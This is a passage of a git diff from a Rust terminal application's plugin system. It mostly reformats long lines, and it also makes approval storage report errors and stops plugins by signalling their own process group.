to_toml(&value) else { return EditorResult::Problem(format!("`{}` can't be saved", spec.key)) }; + let Some(toml) = to_toml(&value) else { + return EditorResult::Problem(format!("`{}` can't be saved", spec.key)); + }; let mut table = toml_edit::Table::new(); table.insert(&spec.key, toml_edit::Item::Value(toml)); let (_, problems) = crate::plugin_settings::resolve(&self.plugin, std::slice::from_ref(&spec), Some(&table)); diff --git a/src/manager/view.rs b/src/manager/view.rs index 4aff30f..3b9c334 100644 --- a/src/manager/view.rs +++ b/src/manager/view.rs @@ -118,7 +118,8 @@ pub fn hit(area: Rect, model: &Model, column: u16, row: u16) -> (Option, pub fn draw(frame: &mut Frame, model: &Model) { let area = frame.area(); if area.width < MIN_WIDTH || area.height < MIN_HEIGHT { - let text = Paragraph::new("Make the window larger to manage plugins (60×12 at least)").wrap(Wrap { trim: true }); + let text = + Paragraph::new("Make the window larger to manage plugins (60×12 at least)").wrap(Wrap { trim: true }); frame.render_widget(text, area); return; } @@ -250,7 +251,8 @@ fn draw_list(frame: &mut Frame, model: &Model, area: Rect) { let line = match row { Row::Item(i) => row_line(Some(mark(i)), &i.title, &version_note(i), width), Row::Entry(e) => { - let have = model.items.iter().any(|i| i.name == e.name && i.attention != Some(Attention::NotInstalled)); + let have = + model.items.iter().any(|i| i.name == e.name && i.attention != Some(Attention::NotInstalled)); let right = if have { "installed".to_string() } else { format!("★ {}", e.stars) }; row_line(None, &e.name, &right, width) } @@ -280,7 +282,9 @@ fn details_lines(model: &Model) -> Vec> { let title = item.map_or_else(|| row.name().to_string(), |i| i.title.clone()); let version = item .and_then(|i| i.version.clone()) - .or_else(|| entry.and_then(|e| crate::registry::best(e, crate::registry::LUMEN_VERSION)).map(|r| r.version.clone())) + .or_else(|| { + entry.and_then(|e| crate::registry::best(e, crate::registry::LUMEN_VERSION)).map(|r| r.version.clone()) + }) .unwrap_or_default(); out.push(Line::from(vec![Span::styled(title, bold), Span::raw(" "), Span::styled(version, MUTED)])); let mut about = vec![row.name().to_string()]; @@ -298,7 +302,8 @@ fn details_lines(model: &Model) -> Vec> { out.push(Line::styled(format!("Updated {}", e.updated), MUTED)); } out.push(Line::raw("")); - let description = item.map(|i| i.description.clone()).filter(|d| !d.is_empty()).or_else(|| entry.map(|e| e.description.clone())); + let description = + item.map(|i| i.description.clone()).filter(|d| !d.is_empty()).or_else(|| entry.map(|e| e.description.clone())); out.push(Line::raw(description.unwrap_or_default())); out.push(Line::raw("")); let permissions = item.map(|i| i.permissions.clone()).filter(|p| !p.is_empty()).or_else(|| { @@ -328,7 +333,10 @@ fn details_lines(model: &Model) -> Vec> { out.push(Line::raw(format!("Update: {} → {}", i.version.clone().unwrap_or_default(), u.version))); if !u.new_permissions.is_empty() { let words: Vec<&str> = u.new_permissions.iter().map(|x| x.describe()).collect(); - out.push(Line::styled(format!("It also asks to: {}", and_list(&words)), Style::new().fg(Color::Yellow))); + out.push(Line::styled( + format!("It also asks to: {}", and_list(&words)), + Style::new().fg(Color::Yellow), + )); } } } @@ -359,7 +367,8 @@ fn details_lines(model: &Model) -> Vec> { fn editor_lines(model: &Model, e: &crate::manager::settings_edit::Editor) -> Vec> { use crate::plugin_settings::Kind as S; let title = model.items.iter().find(|i| i.name == e.plugin).map_or(e.plugin.clone(), |i| i.title.clone()); - let mut out = vec![Line::styled(format!("Settings for {title}"), Style::new().add_modifier(Modifier::BOLD)), Line::raw("")]; + let mut out = + vec![Line::styled(format!("Settings for {title}"), Style::new().add_modifier(Modifier::BOLD)), Line::raw("")]; let widest = e.fields.iter().map(|f| f.spec.key.width()).max().unwrap_or(0); for (n, f) in e.fields.iter().enumerate() { let selected = n == e.selected; @@ -368,9 +377,15 @@ fn editor_lines(model: &Model, e: &crate::manager::settings_edit::Editor) -> Vec _ => crate::manager::settings_edit::shown(&f.value), }; let pad = " ".repeat(widest - f.spec.key.width()); - let mut spans = vec![Span::raw(format!(" {}{pad} ", f.spec.key)), Span::styled(value, Style::new().add_modifier(Modifier::BOLD))]; + let mut spans = vec![ + Span::raw(format!(" {}{pad} ", f.spec.key)), + Span::styled(value, Style::new().add_modifier(Modifier::BOLD)), + ]; if f.value != f.spec.default { - spans.push(Span::styled(format!(" (default {})", crate::manager::settings_edit::shown(&f.spec.default)), MUTED)); + spans.push(Span::styled( + format!(" (default {})", crate::manager::settings_edit::shown(&f.spec.default)), + MUTED, + )); } let line = Line::from(spans); out.push(if selected { line.style(Style::new().add_modifier(Modifier::REVERSED)) } else { line }); @@ -378,8 +393,13 @@ fn editor_lines(model: &Model, e: &crate::manager::settings_edit::Editor) -> Vec let hint = match &f.spec.kind { S::Boolean => "space or enter turns it on or off".to_string(), S::Choice(c) => format!("← → choose: {}", c.join(", ")), - S::Integer { min, max } => format!("type a whole number, or ← →{}", bounds(min.map(|v| v.to_string()), max.map(|v| v.to_string()))), - S::Number { min, max } => format!("type a number, or ← →{}", bounds(min.map(|v| v.to_string()), max.map(|v| v.to_string()))), + S::Integer { min, max } => format!( + "type a whole number, or ← →{}", + bounds(min.map(|v| v.to_string()), max.map(|v| v.to_string())) + ), + S::Number { min, max } => { + format!("type a number, or ← →{}", bounds(min.map(|v| v.to_string()), max.map(|v| v.to_string()))) + } S::String => "enter to edit".into(), S::List => "enter to edit, separated by commas".into(), }; @@ -404,7 +424,11 @@ fn footer(model: &Model) -> &'static str { return "esc cancel"; } if let Some(e) = &model.editing { - return if e.input.is_some() { "type the value enter save esc cancel" } else { "↑ ↓ choose ← → change enter save d default esc done" }; + return if e.input.is_some() { + "type the value enter save esc cancel" + } else { + "↑ ↓ choose ← → change enter save d default esc done" + }; } if model.typing { return "type to filter enter done esc clear"; @@ -475,7 +499,12 @@ impl Part { Part::Bullet(t) => wrap(&t, width.saturating_sub(2).max(1)) .into_iter() .enumerate() - .map(|(n, r)| Line::from(vec![Span::styled(if n == 0 { "• " } else { " " }, Style::new().fg(ACCENT)), Span::raw(r)])) + .map(|(n, r)| { + Line::from(vec![ + Span::styled(if n == 0 { "• " } else { " " }, Style::new().fg(ACCENT)), + Span::raw(r), + ]) + }) .collect(), Part::Gap => vec![Line::raw("")], } @@ -490,7 +519,11 @@ fn draw_dialog(frame: &mut Frame, dialog: &Dialog, area: Rect) { let (title, parts): (&str, Vec) = match dialog { Dialog::Approve { name, permissions, .. } => { let mut l = vec![ - Part::Row(Line::from(vec![Span::styled("Allow ", bold), Span::styled(name.clone(), accent), Span::styled(" to:", bold)])), + Part::Row(Line::from(vec![ + Span::styled("Allow ", bold), + Span::styled(name.clone(), accent), + Span::styled(" to:", bold), + ])), Part::Gap, ]; l.extend(permissions.iter().map(|p| Part::Bullet(p.describe().to_string()))); @@ -504,7 +537,11 @@ fn draw_dialog(frame: &mut Frame, dialog: &Dialog, area: Rect) { Dialog::RemoveData { name } => ( "Remove", vec![ - Part::Row(Line::from(vec![Span::styled("Remove ", bold), Span::styled(name.clone(), accent), Span::styled(".", bold)])), + Part::Row(Line::from(vec![ + Span::styled("Remove ", bold), + Span::styled(name.clone(), accent), + Span::styled(".", bold), + ])), Part::Gap, Part::Text(format!("Also delete {name}'s data? (y/N)"), plain), Part::Gap, @@ -535,7 +572,8 @@ fn draw_dialog(frame: &mut Frame, dialog: &Dialog, area: Rect) { // take 3 columns a side and 2 rows top and bottom. let widest = parts.iter().map(Part::width).max().unwrap_or(0).clamp(36, 58); let width = (widest as u16 + 6).min(area.width.saturating_sub(4)); - let lines: Vec = parts.into_iter().flat_map(|p| p.rows(usize::from(width.saturating_sub(6)).max(1))).collect(); + let lines: Vec = + parts.into_iter().flat_map(|p| p.rows(usize::from(width.saturating_sub(6)).max(1))).collect(); let height = (lines.len() as u16 + 4).min(area.height); let r = Rect::new(area.x + (area.width - width) / 2, area.y + (area.height - height) / 2, width, height); frame.render_widget(Clear, r); @@ -553,8 +591,8 @@ mod tests { use crate::manager::data::{Attention, Item, Kind, Snapshot, Upgrade}; use crate::manager::model::{Dialog, Model, Tab}; use crate::plugins::Permission; - use crate::registry::testing::{entry, release}; use crate::registry::Index; + use crate::registry::testing::{entry, release}; use ratatui::Terminal; use ratatui::backend::TestBackend; use ratatui::crossterm::event::{KeyCode, KeyEvent, KeyModifiers}; @@ -608,7 +646,8 @@ mod tests { fn model() -> Model { let mut docker = entry("mira/docker-panes", 214, &[]); docker.versions = vec![release("1.3.0", vec![Permission::Panes], String::new())]; - let mut m = Model::new(Snapshot { index: Some(Index { version: 1, plugins: vec![docker] }), ..Default::default() }); + let mut m = + Model::new(Snapshot { index: Some(Index { version: 1, plugins: vec![docker] }), ..Default::default() }); let mut missing = item("jira/picker", "jira/picker", Kind::Registry, true); missing.attention = Some(Attention::NotInstalled); missing.version = None; @@ -626,7 +665,17 @@ mod tests { let mut m = model(); m.selected = 3; let s = screen(&m, 120, 30); - for want in ["● Recent Directories", "○ Pomodoro Timer", "! jira/picker", "not installed", "built in", "local", "Installed (4)", "Browse", "Updates (0)"] { + for want in [ + "● Recent Directories", + "○ Pomodoro Timer", + "! jira/picker", + "not installed", + "built in", + "local", + "Installed (4)", + "Browse", + "Updates (0)", + ] { assert!(s.contains(want), "{want:?} missing:\n{s}"); } assert!(s.contains("space on/off enter details s settings u update x remove q quit"), "{s}"); diff --git a/src/marks.rs b/src/marks.rs index af894e8..6287578 100644 --- a/src/marks.rs +++ b/src/marks.rs @@ -137,7 +137,8 @@ mod tests { let mut rewriter = Rewriter::new(Arc::new(Mutex::new(Shared::default())), None, None, false); let mut bytes = Vec::new(); let output = output.replace('A', "\x1b]133;A\x07").replace('B', "\x1b]133;B\x07"); - let output = output.replace('C', "\x1b]133;C\x07").replace("D0", "\x1b]133;D;0\x07").replace("D1", "\x1b]133;D;1\x07"); + let output = + output.replace('C', "\x1b]133;C\x07").replace("D0", "\x1b]133;D;0\x07").replace("D1", "\x1b]133;D;1\x07"); rewriter.feed(output.replace('\n', "\r\n").as_bytes(), &mut bytes); let mut parser: Processor = Processor::new(); parser.advance(&mut term, &bytes); diff --git a/src/mouse.rs b/src/mouse.rs index e8d4e4e..35283ce 100644 --- a/src/mouse.rs +++ b/src/mouse.rs @@ -99,13 +99,7 @@ pub fn encode( mod tests { use super::*; - const NONE: Modifiers = Modifiers { - control: false, - alt: false, - shift: false, - platform: false, - function: false, - }; + const NONE: Modifiers = Modifiers { control: false, alt: false, shift: false, platform: false, function: false }; fn click() -> TermMode { TermMode::MOUSE_REPORT_CLICK diff --git a/src/palette.rs b/src/palette.rs index bfe9fae..b03350a 100644 --- a/src/palette.rs +++ b/src/palette.rs @@ -4,14 +4,14 @@ use std::ops::Range; use std::rc::Rc; use gpui::{ - App, BoxShadow, Context, EventEmitter, FocusHandle, Focusable, HighlightStyle, InteractiveElement, - IntoElement, KeyDownEvent, ParentElement, Render, SharedString, StatefulInteractiveElement, - Styled, StyledText, Window, div, point, prelude::FluentBuilder, px, + App, BoxShadow, Context, EventEmitter, FocusHandle, Focusable, HighlightStyle, InteractiveElement, IntoElement, + KeyDownEvent, ParentElement, Render, SharedString, StatefulInteractiveElement, Styled, StyledText, Window, div, + point, prelude::FluentBuilder, px, }; use crate::settings::{MONO_FONT, Settings, ui_font}; -use gpui::{ScrollStrategy, uniform_list}; use crate::theme::alpha; +use gpui::{ScrollStrategy, uniform_list}; /// Something the palette runs: a choice, or what happens on cancel. pub type PaletteFn = Rc; @@ -452,7 +452,12 @@ fn fit_hint(item: &PaletteItem, dots: bool, window: &Window, cx: &App) -> Option return Some(text.clone()); } let mut runs = vec![run(text, family.clone())]; - Some(cx.text_system().line_wrapper(gpui::font(family), px(size)).truncate_line(text.clone(), px(room), "…", &mut runs)) + Some(cx.text_system().line_wrapper(gpui::font(family), px(size)).truncate_line( + text.clone(), + px(room), + "…", + &mut runs, + )) } /// One row of the palette. @@ -541,7 +546,12 @@ fn caret(color: gpui::Hsla) -> gpui::Div { impl CommandPalette { /// The rows `range` of the filtered list. - fn rows(&mut self, range: std::ops::Range, window: &mut Window, cx: &mut Context) -> Vec { + fn rows( + &mut self, + range: std::ops::Range, + window: &mut Window, + cx: &mut Context, + ) -> Vec { let theme = Settings::get(cx).theme().clone(); // A column for dots when any item has one, so labels line up. let dots = self.items.iter().any(|i| i.dot.is_some()); @@ -573,11 +583,7 @@ impl Render for CommandPalette { fn render(&mut self, window: &mut Window, cx: &mut Context) -> impl IntoElement { let theme = Settings::get(cx).theme().clone(); let has_query = !self.query.is_empty(); - let query: SharedString = if has_query { - self.query.clone().into() - } else { - self.placeholder.clone() - }; + let query: SharedString = if has_query { self.query.clone().into() } else { self.placeholder.clone() }; div() .id("palette") @@ -642,21 +648,14 @@ impl Render for CommandPalette { ) }) .child( - div() - .id("palette-list") - .mt(px(6.0)) - .flex() - .flex_col() - .flex_shrink() - .min_h_0() - .child( - // Only the rows in view are built and drawn. - uniform_list("palette-rows", self.filtered.len(), cx.processor(Self::rows)) - .track_scroll(self.scroll.clone()) - .h(px(ROW_HEIGHT * (self.filtered.len() as f32).min(VISIBLE_ROWS))) - .flex_shrink() - .min_h_0(), - ), + div().id("palette-list").mt(px(6.0)).flex().flex_col().flex_shrink().min_h_0().child( + // Only the rows in view are built and drawn. + uniform_list("palette-rows", self.filtered.len(), cx.processor(Self::rows)) + .track_scroll(self.scroll.clone()) + .h(px(ROW_HEIGHT * (self.filtered.len() as f32).min(VISIBLE_ROWS))) + .flex_shrink() + .min_h_0(), + ), ) .when(first_item(&self.filtered).is_none() && self.submit.is_none(), |d| { d.child(div().px(px(18.0)).py(px(10.0)).text_color(theme.muted).child("No matches")) @@ -704,7 +703,8 @@ mod tests { #[test] fn sections_group_matches_in_order_of_first_appearance() { - let items = [item(Some("Lumen"), "Next Pane"), item(Some("Plugins"), "Pane Log"), item(Some("Lumen"), "Pane Split")]; + let items = + [item(Some("Lumen"), "Next Pane"), item(Some("Plugins"), "Pane Log"), item(Some("Lumen"), "Pane Split")]; // Within a section: best match first ("Pane Split" starts with it). assert_eq!(shape(&arrange(&items, "pane")), ["# Lumen", "2", "0", "# Plugins", "1"]); // Nothing typed: the order given, under headings. diff --git a/src/plugin_cli.rs b/src/plugin_cli.rs index af5751b..222ec89 100644 --- a/src/plugin_cli.rs +++ b/src/plugin_cli.rs @@ -145,12 +145,23 @@ fn execute(cmd: Cmd) -> Result<(), String> { match cmd { Cmd::Help => print!("{HELP}"), Cmd::List { json } => { - let rows = rows(&enabled(), ®istry::load_installed(), &crate::plugins::local_plugins(), registry::cached_index().as_ref()); + let rows = rows( + &enabled(), + ®istry::load_installed(), + &crate::plugins::local_plugins(), + registry::cached_index().as_ref(), + ); if json { println!("{}", rows_json(&rows)); } else { for r in &rows { - let mark = if !r.installed { "!" } else if r.on { "●" } else { "○" }; + let mark = if !r.installed { + "!" + } else if r.on { + "●" + } else { + "○" + }; let mut note = match r.kind { "built-in" => "built in".to_string(), "local" => format!("local {}", r.version).trim_end().to_string(), @@ -248,7 +259,14 @@ fn rows( let on = |n: &str| enabled.iter().any(|e| e == n); let mut rows: Vec = BUILTINS .iter() - .map(|b| Row { name: b.name.into(), kind: "built-in", on: on(b.name), version: String::new(), installed: true, update: None }) + .map(|b| Row { + name: b.name.into(), + kind: "built-in", + on: on(b.name), + version: String::new(), + installed: true, + update: None, + }) .collect(); rows.extend(local.iter().map(|(n, v)| Row { name: n.clone(), @@ -264,10 +282,24 @@ fn rows( .and_then(|e| registry::best(e, registry::LUMEN_VERSION)) .filter(|r| registry::newer(&r.version, &i.version)) .map(|r| r.version.clone()); - rows.push(Row { name: name.clone(), kind: "registry", on: on(name), version: i.version.clone(), installed: true, update }); + rows.push(Row { + name: name.clone(), + kind: "registry", + on: on(name), + version: i.version.clone(), + installed: true, + update, + }); } for name in enabled.iter().filter(|n| registry::valid_name(n) && !installed.contains_key(*n)) { - rows.push(Row { name: name.clone(), kind: "registry", on: true, version: String::new(), installed: false, update: None }); + rows.push(Row { + name: name.clone(), + kind: "registry", + on: true, + version: String::new(), + installed: false, + update: None, + }); } rows } @@ -297,8 +329,14 @@ mod tests { assert_eq!(parse(&s(&["install", "mira/x", "--yes"])), Ok(Cmd::Install { name: "mira/x".into(), yes: true })); assert_eq!(parse(&s(&["install", "mira/x"])), Ok(Cmd::Install { name: "mira/x".into(), yes: false })); assert_eq!(parse(&s(&["update"])), Ok(Cmd::Update { name: None, yes: false })); - assert_eq!(parse(&s(&["update", "--yes", "mira/x"])), Ok(Cmd::Update { name: Some("mira/x".into()), yes: true })); - assert_eq!(parse(&s(&["remove", "mira/x", "--delete-data"])), Ok(Cmd::Remove { name: "mira/x".into(), delete_data: true })); + assert_eq!( + parse(&s(&["update", "--yes", "mira/x"])), + Ok(Cmd::Update { name: Some("mira/x".into()), yes: true }) + ); + assert_eq!( + parse(&s(&["remove", "mira/x", "--delete-data"])), + Ok(Cmd::Remove { name: "mira/x".into(), delete_data: true }) + ); assert_eq!(parse(&s(&["list", "--json"])), Ok(Cmd::List { json: true })); assert_eq!(parse(&s(&["search", "git", "tools"])), Ok(Cmd::Search { text: "git tools".into() })); assert_eq!(parse(&s(&["on", "recent-dirs"])), Ok(Cmd::On("recent-dirs".into()))); @@ -313,8 +351,15 @@ mod tests { fn check_folder_reports() { let dir = std::env::temp_dir().join(format!("lumen-check-{}", std::process::id())); std::fs::create_dir_all(&dir).unwrap(); - std::fs::write(dir.join("plugin.toml"), "version = \"1.2.0\"\ncommand = \"python3 main.py\"\npermissions = [\"input\", \"panes\"]\n").unwrap(); - assert_eq!(check(&dir), Ok(format!("ok {} 1.2.0 permissions=panes,input", dir.file_name().unwrap().to_string_lossy()))); + std::fs::write( + dir.join("plugin.toml"), + "version = \"1.2.0\"\ncommand = \"python3 main.py\"\npermissions = [\"input\", \"panes\"]\n", + ) + .unwrap(); + assert_eq!( + check(&dir), + Ok(format!("ok {} 1.2.0 permissions=panes,input", dir.file_name().unwrap().to_string_lossy())) + ); std::fs::write(dir.join("plugin.toml"), "command = \"x\"\n[settings.a]\ntype = \"integer\"\n").unwrap(); assert!(check(&dir).unwrap_err().contains("settings.a")); std::fs::remove_file(dir.join("plugin.toml")).unwrap(); diff --git a/src/plugin_settings.rs b/src/plugin_settings.rs index f477e68..1e5ae63 100644 --- a/src/plugin_settings.rs +++ b/src/plugin_settings.rs @@ -9,8 +9,14 @@ use toml_edit::{DocumentMut, Item, Table}; #[derive(Clone, Debug, PartialEq)] pub enum Kind { String, - Integer { min: Option, max: Option }, - Number { min: Option, max: Option }, + Integer { + min: Option, + max: Option, + }, + Number { + min: Option, + max: Option, + }, Boolean, Choice(Vec), /// A list of strings. @@ -36,9 +42,10 @@ pub fn parse_schema(doc: &DocumentMut) -> Result, String> { fn spec(key: &str, item: &Item) -> Result { let t = item.as_table_like().ok_or("should be a table with `type`, `default` and `description`")?; - let kind_name = t.get("type").and_then(Item::as_str).ok_or( - "`type` should be \"string\", \"integer\", \"number\", \"boolean\", \"choice\" or \"list\"", - )?; + let kind_name = t + .get("type") + .and_then(Item::as_str) + .ok_or("`type` should be \"string\", \"integer\", \"number\", \"boolean\", \"choice\" or \"list\"")?; let description = t.get("description").and_then(Item::as_str).ok_or("`description` is missing")?.to_string(); let (min, max) = (t.get("min"), t.get("max")); let integer = |i: Option<&Item>, name: &str| match i { @@ -107,7 +114,8 @@ fn spec(key: &str, item: &Item) -> Result { /// The value as JSON, if it suits `kind`. fn check(kind: &Kind, item: &Item) -> Option { let v = item.as_value()?; - let in_range = |n: f64, lo: Option, hi: Option| lo.is_none_or(|lo| n >= lo) && hi.is_none_or(|hi| n <= hi); + let in_range = + |n: f64, lo: Option, hi: Option| lo.is_none_or(|lo| n >= lo) && hi.is_none_or(|hi| n <= hi); match kind { Kind::String => v.as_str().map(Value::from), Kind::Integer { min, max } => { diff --git a/src/plugins.rs b/src/plugins.rs index 967dae7..823453c 100644 --- a/src/plugins.rs +++ b/src/plugins.rs @@ -13,6 +13,7 @@ use std::collections::BTreeMap; use std::io::{BufRead, BufReader, Write}; +use std::os::unix::process::CommandExt; use std::path::{Path, PathBuf}; use std::process::{Command, Stdio}; use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; @@ -240,13 +241,20 @@ pub fn plugins_dir() -> Option { } fn state_dir() -> Option { + // Tests that run a plugin leave your real logs and data alone. + #[cfg(test)] + return Some(std::env::temp_dir().join(format!("lumen-test-state-{}", std::process::id()))); + #[cfg(not(test))] + real_state_dir() +} + +#[cfg_attr(test, allow(dead_code))] +fn real_state_dir() -> Option { let home = std::env::var_os("HOME").map(PathBuf::from); let base = if cfg!(target_os = "macos") { home?.join("Library/Application Support") } else { - std::env::var_os("XDG_STATE_HOME") - .map(PathBuf::from) - .or_else(|| home.map(|h| h.join(".local/state")))? + std::env::var_os("XDG_STATE_HOME").map(PathBuf::from).or_else(|| home.map(|h| h.join(".local/state")))? }; Some(base.join("lumen")) } @@ -362,11 +370,8 @@ pub const BUILTINS: &[Builtin] = &[ /// Plugins that used to come with Lumen and now come from the registry: a /// config.toml naming the old one means the new one. -pub const MOVED: &[(&str, &str)] = &[ - ("project-layout", "sn/project-layout"), - ("build-status", "sn/build-status"), - ("pomodoro", "sn/pomodoro"), -]; +pub const MOVED: &[(&str, &str)] = + &[("project-layout", "sn/project-layout"), ("build-status", "sn/build-status"), ("pomodoro", "sn/pomodoro")]; /// The registry plugin a once built-in plugin's name now means. pub fn moved_to(name: &str) -> Option<&'static str> { @@ -387,7 +392,9 @@ impl Builtin { let path = dir.join(file); if std::fs::read_to_string(&path).ok().as_deref() != Some(*text) { let tmp = path.with_extension(format!("{}.tmp", std::process::id())); - std::fs::write(&tmp, text).and_then(|_| std::fs::rename(&tmp, &path)).map_err(|e| format!("{}: {e}", path.display()))?; + std::fs::write(&tmp, text) + .and_then(|_| std::fs::rename(&tmp, &path)) + .map_err(|e| format!("{}: {e}", path.display()))?; } } let toml = self.files.iter().find(|(f, _)| *f == "plugin.toml").map(|(_, t)| *t).unwrap_or_default(); @@ -584,7 +591,11 @@ fn decide(m: &Manifest, approvals: &BTreeMap) -> Decision { } match approvals.get(&m.approval_key()) { Some(a) if a.command == m.command && m.permissions.iter().all(|p| a.permissions.contains(p)) => { - if a.allowed { Decision::Allowed } else { Decision::Refused } + if a.allowed { + Decision::Allowed + } else { + Decision::Refused + } } _ => Decision::Ask, } @@ -592,21 +603,17 @@ fn decide(m: &Manifest, approvals: &BTreeMap) -> Decision { /// What a plugin that isn't allowed to run says in the plugin list. pub fn refused_status(m: &Manifest) -> String { - if m.registry { - format!("not approved: run `lumen plugins install {}`", m.name) - } else { - "not allowed".into() - } + if m.registry { format!("not approved: run `lumen plugins install {}`", m.name) } else { "not allowed".into() } } /// Approve a registry plugin's permissions (in the approvals file at /// `path`), when it's installed or updated. -pub fn approve_registry_in(path: &Path, name: &str, permissions: &[Permission]) { +pub fn approve_registry_in(path: &Path, name: &str, permissions: &[Permission]) -> Result<(), String> { store_approval_at( path, format!("registry:{name}"), Approval { command: Vec::new(), permissions: permissions.to_vec(), allowed: true }, - ); + ) } /// The permissions a registry plugin has been allowed. @@ -619,39 +626,47 @@ pub fn registry_approval_in(path: &Path, name: &str) -> Vec { /// Forget a registry plugin's approval, when it's removed: installing it /// again asks again. -pub fn forget_registry_in(path: &Path, name: &str) { - let _lock = lock_approvals(path); +pub fn forget_registry_in(path: &Path, name: &str) -> Result<(), String> { + let _lock = lock_approvals(path)?; let mut all = load_approvals_from(path); if all.remove(&format!("registry:{name}")).is_some() { - let _ = crate::registry::write_private(path, &serde_json::to_string_pretty(&all).unwrap_or_default()); + save_approvals_to(path, &all)?; } + Ok(()) } -pub fn record_decision(m: &Manifest, allowed: bool) { - store_approval(m.approval_key(), Approval { command: m.command.clone(), permissions: m.permissions.clone(), allowed }); +fn save_approvals_to(path: &Path, all: &BTreeMap) -> Result<(), String> { + let text = serde_json::to_string_pretty(all).map_err(|e| e.to_string())?; + crate::registry::write_private(path, &text) } -/// [`record_decision`], in the approvals file at `path`. -pub fn record_decision_at(path: &Path, m: &Manifest, allowed: bool) { - store_approval_at(path, m.approval_key(), Approval { command: m.command.clone(), permissions: m.permissions.clone(), allowed }); +/// Keep your answer about `m`. An error means it wasn't kept, so Lumen will +/// ask again. +pub fn record_decision(m: &Manifest, allowed: bool) -> Result<(), String> { + let path = approvals_path().ok_or("no home folder to keep the answer in")?; + record_decision_at(&path, m, allowed) } -fn store_approval(key: String, approval: Approval) { - if let Some(path) = approvals_path() { - store_approval_at(&path, key, approval); - } +/// [`record_decision`], in the approvals file at `path`. +pub fn record_decision_at(path: &Path, m: &Manifest, allowed: bool) -> Result<(), String> { + store_approval_at( + path, + m.approval_key(), + Approval { command: m.command.clone(), permissions: m.permissions.clone(), allowed }, + ) } /// The approvals file's lock: Lumen and `lumen plugins` both change it. -fn lock_approvals(path: &Path) -> Option { - crate::registry::Lock::take(&path.with_file_name("approvals.lock")).ok() +/// Without it nothing is written: two writers would lose one's answers. +fn lock_approvals(path: &Path) -> Result { + crate::registry::Lock::take(&path.with_file_name("approvals.lock")) } -fn store_approval_at(path: &Path, key: String, approval: Approval) { - let _lock = lock_approvals(path); +fn store_approval_at(path: &Path, key: String, approval: Approval) -> Result<(), String> { + let _lock = lock_approvals(path)?; let mut all = load_approvals_from(path); all.insert(key, approval); - let _ = crate::registry::write_private(path, &serde_json::to_string_pretty(&all).unwrap_or_default()); + save_approvals_to(path, &all) } // ---- running ----------------------------------------------------------- @@ -672,6 +687,8 @@ struct Running { commands: Vec, stop: Arc, pid: Option, + /// Its connection and process, while [`supervise`] is running it. + live: Option, /// Which start this is, so a copy still shutting down after a reload /// can't touch its replacement. generation: u64, @@ -679,17 +696,26 @@ struct Running { settings: serde_json::Map, } +/// A running plugin's connection and process, for stopping it. +#[derive(Clone)] +struct Live { + /// Its connection's id, as [`api::disconnect`] takes it. + conn: u64, + /// Whether the process has been waited for. Until then its pid, and + /// its process group's id, can't have gone to anything else; signals + /// are sent with this held, so they can't either. + reaped: Arc>, +} + +/// How long a stopped plugin has to exit before it's killed. +const STOP_GRACE: Duration = Duration::from_millis(if cfg!(test) { 300 } else { 2000 }); + static PLUGINS: Mutex> = Mutex::new(Vec::new()); static GENERATION: AtomicU64 = AtomicU64::new(1); /// The entry for this particular start of a plugin. fn with_run(name: &str, generation: u64, f: impl FnOnce(&mut Running) -> R) -> Option { - PLUGINS - .lock() - .unwrap() - .iter_mut() - .find(|r| r.manifest.name == name && r.generation == generation) - .map(f) + PLUGINS.lock().unwrap().iter_mut().find(|r| r.manifest.name == name && r.generation == generation).map(f) } /// A plugin as shown in the palette. @@ -733,6 +759,7 @@ pub fn add_stopped(m: Manifest, status: &str, settings: serde_json::Map) { commands: Vec::new(), stop: stop.clone(), pid: None, + live: None, generation, settings, }); } let name = m.name.clone(); - let _ = std::thread::Builder::new() - .name(format!("plugin-{name}")) - .spawn(move || supervise(m, stop, jobs, generation)); + let _ = + std::thread::Builder::new().name(format!("plugin-{name}")).spawn(move || supervise(m, stop, jobs, generation)); } const BACKOFF: [u64; 6] = [1, 2, 5, 10, 30, 60]; @@ -815,6 +842,8 @@ fn supervise(m: Manifest, stop: Arc, jobs: api::Jobs, generation: u6 .envs(data_dir(&name).map(|d| ("LUMEN_PLUGIN_DATA", d))) // Read now, not at the first start: they may have changed since. .env("LUMEN_PLUGIN_SETTINGS", Value::Object(started_with.clone()).to_string()) + // A process group of its own, so stopping it reaches whatever it started. + .process_group(0) .stdin(Stdio::piped()) .stdout(Stdio::piped()) .stderr(Stdio::piped()) @@ -830,8 +859,10 @@ fn supervise(m: Manifest, stop: Arc, jobs: api::Jobs, generation: u6 } }; let pid = child.id(); - let out = api::writer(child.stdin.take().expect("piped")); - attach(&name, generation, out.clone(), pid, &started_with); + // Stopping the plugin closes its stdin and ends its replies and events. + let out = api::writer_until(child.stdin.take().expect("piped"), Some(stop.clone())); + let live = Live { conn: api::new_conn(), reaped: Arc::new(Mutex::new(false)) }; + attach(&name, generation, out.clone(), pid, live.clone(), &started_with); log(&name, &format!("{} [lumen] started `{}` (pid {pid})", now(), m.command.join(" "))); if stop.load(Ordering::SeqCst) { // Told to stop while starting: don't leave it behind. @@ -846,14 +877,26 @@ fn supervise(m: Manifest, stop: Arc, jobs: api::Jobs, generation: u6 } }); let stdout = BufReader::new(child.stdout.take().expect("piped")); - api::serve_lines(stdout, &out, &jobs, &caller); + // Nothing it asks for after it's told to stop is carried out. + api::serve_conn(stdout, live.conn, &out, &jobs, &caller, Some(&stop)); drop(out); - let status = child.wait().map(|s| s.to_string()).unwrap_or_else(|e| e.to_string()); + wait_unreaped(pid); + let status = { + let mut reaped = live.reaped.lock().unwrap(); + if stop.load(Ordering::SeqCst) { + // Whatever it started and left behind goes with it. + signal(pid, libc::SIGKILL); + } + let status = child.wait().map(|s| s.to_string()).unwrap_or_else(|e| e.to_string()); + *reaped = true; + status + }; // Its commands and key bindings go with it. let had_commands = with_run(&name, generation, |r| { r.out = None; r.pid = None; + r.live = None; !std::mem::take(&mut r.commands).is_empty() }) .unwrap_or(false); @@ -883,23 +926,67 @@ fn supervise(m: Manifest, stop: Arc, jobs: api::Jobs, generation: u6 with_run(&name, generation, |r| r.status = "stopped".into()); } -/// Ask a plugin's process to exit (SIGTERM), and don't restart it. +/// Send `sig` to a plugin's process group (it leads one of its own), or to +/// the process alone if it has none. +fn signal(pid: u32, sig: i32) { + let Ok(pid) = i32::try_from(pid) else { return }; + // 0 and 1 would mean our own group, and every process there is. + if pid <= 1 { + return; + } + unsafe { + if libc::kill(-pid, sig) != 0 { + libc::kill(pid, sig); + } + } +} + +/// Block until our child `pid` has exited, without reaping it: until it's +/// reaped, the pid and its process group stay its own. +fn wait_unreaped(pid: u32) { + unsafe { + let mut info: libc::siginfo_t 